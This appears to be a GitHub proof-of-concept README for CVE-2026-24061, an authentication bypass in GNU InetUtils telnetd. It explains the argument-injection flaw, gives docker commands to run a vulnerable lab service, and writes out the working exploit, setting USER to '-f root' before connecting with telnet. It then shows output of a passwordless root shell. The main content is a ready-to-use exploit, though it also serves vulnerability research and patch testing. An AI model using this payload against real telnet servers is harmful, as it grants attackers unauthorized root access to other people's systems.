typeconfused/cve-2026-24061GNU telnetd service from GNU InetUtils authentication-bypass
In January 2026, the GNU telnetd service from GNU InetUtils was found to be vulnerable to authentication-bypass by Kyu Neushwaistein (aka Carlos Cortes Alvarez). Tracked as CVE-2026-24061, this flaw allows an attacker to establish a Telnet session without providing valid credentials, granting unauthorized access to the target system. The vulnerability exists all the way up to version 2.7-2 of the GNU telnetd service and looks like it was taken right out of the 90s.
This is an argument injection vulnerability (CWE-88) with a CVSS v3.1 score of 9.8 (Critical).
References:
Build and run:
docker build -t telnetd-cve-2026-24061 .
docker run --rm -it -p 23:23 telnetd-cve-2026-24061
After the service starts, telnetd will be listening on port 23.
The vulnerability allows bypassing authentication by injecting the -f flag into the USER environment variable. When telnetd receives a username starting with -f, it passes this to the login program which interprets -f as a flag to skip authentication.
Use the following command to exploit this vulnerability and gain root access:
# Linux client (requires -a option)
USER="-f root" telnet -a 127.0.0.1 23
# macOS client (no -a option needed)
USER="-f root" telnet 127.0.0.1 23
After successful exploitation, you will have root shell access without providing a password.
$ USER='-f root' telnet -a localhost 23
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 6.14.0-37-generic (4dbc1b976c10) (pts/1)
Linux 4dbc1b976c10 6.14.0-37-generic #37~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Nov 20 10:25:38 UTC 2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@4dbc1b976c10:~# id
uid=0(root) gid=0(root) groups=0(root)